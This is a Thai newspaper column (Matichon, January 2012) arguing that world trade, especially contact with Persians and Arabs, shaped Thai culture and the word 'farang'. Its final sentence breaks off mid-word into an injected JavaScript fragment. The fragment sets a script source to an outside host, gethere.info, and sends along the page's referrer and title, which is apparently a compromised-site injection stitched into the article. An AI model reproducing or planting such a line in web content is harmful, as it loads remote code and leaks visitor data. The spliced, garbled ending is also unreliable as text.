มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 26 มกราคม 2555


          การค้าโลก เป็นพลังสำคัญอันหนึ่งที่ตกแต่งหน้าตา “วัฒนธรรมไทย” และ “ความเป็นไทย”

          ศาสนาจากชมพูทวีป (อินเดีย) กับวัฒนธรรมอินโด-เปอร์เซีย (อินเดีย-อิหร่าน) ที่เป็นแกนหลักของ “วัฒนธรรมไทย” และ “ความเป็นไทย” ล้วนแพร่เข้ามาถึงสยามประเทศไทยโดยการค้าโลก ก่อน“ฝรั่ง”ชาวยุโรปจะมาถึง

          “ฝรั่ง” หมายถึงชาวยุโรปหรือชาวตะวันตกอย่างรวมๆ โดยไม่ระบุว่าชาติอะไร

          เป็นคำเพี้ยนจากศัพท์ ฟะรังงี farangi ที่ชาวเปอร์เซีย (อิหร่าน) ใช้เรียกชาวยุโรป (ดิเรก กุลสิริสวัสดิ์ เขียนบอกไว้ในหนังสือความสัมพันธ์ของมุสลิมทางประวัติศาสตร์และวรรณคดีไทย สำนักพิมพ์มติชน พ.ศ. 2545 หน้า 73)

          แสดงว่าชาวสยามคุ้นเคยกับชาวเปอร์เซียก่อนรู้จักชาวยุโรป เมื่อรู้จักชาวยุโรปคราวแรกๆ ราว พ.ศ. 2000 จึงเรียกตามคำเปอร์เซียว่า“ฝรั่ง”ตั้งแต่นั้นมาจนปัจจุบัน

          ชาวเปอร์เซีย, อาหรับ ทางตะวันออกกลาง เดินทางมาค้าขายแลกเปลี่ยนกับอุษาคเนย์ ตั้งแต่ก่อน พ.ศ. 1000 มีหลักฐานโบราณคดีพบที่เมืองอู่ทอง (สุพรรณบุรี) และเมืองนครชัยศรี (นครปฐม) รวมทั้งควนลูกปัด (กระบี่)

          แล้วติดต่อกันต่อเนื่องมาจนถึงยุคทวารวดีและอยุธยา จึงมีศิลปกรรมแบบเปอร์เซีย เช่น

ลวดลายและวงโค้งกรอบหน้าต่าง ฯลฯ กับคำศัพท์เปอร์เซีย เช่น ตึกคชสาร (ที่วัดเสาธงทอง ลพบุรี) เพี้ยนจากโคระสาน หรือคุราสาน ชื่อแคว้นหนึ่งของเปอร์เซีย

          เสื้อผ้าอาภรณ์ที่เป็นเครื่องยศ เช่น ลอมพอก, ชฎา, มงกุฎ, เครื่องดนตรี เช่น ปี่ไฉน (มาจากคำว่า สรไน), อาหารการกินและขนมต่างๆ เช่น บ้าบิ่น, หม้อแกง, สำปันนี, ฯลฯ ล้วนได้จากอินโด-เปอร์เซีย

          ชาวสยามคุ้นเคยกับชาวเปอร์เซีย, อาหรับ ยาวนานต่อมาอีกนับพันปี จึงเริ่มมีฝรั่งชาวยุโรป เช่น โปรตุเกส เดินทางมาติดต่อแลกเปลี่ยนค้าขายกับอยุธยา ราวหลัง พ.ศ. 2000 จึงมีทองหยิบ, ฝอยทอง, ฯลฯ ตั้งแต่นั้นมา

          สังคมไทยถูกครอบงำด้วยตำราประวัติศาสตร์โบราณคดี“แห่งชาติ”ของไทย ที่มองข้ามการค้าโลก แล้วโมเมว่าวัฒนธรรมไทยและความเป็นไทยไม่เหมือนคนอื่นที่อื่นใดในโลก ทำให้แลดูราวมนุษย์ต่างดาวหรือสัตว์ประหลาด

          เวรกรรมของสังคมไทย ที่สถาบันการศึกษาระดับอุดมศึกษาก็พากันเชื่ออย่างเชื่องๆ ตามตำรา “แห่งชาติ”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;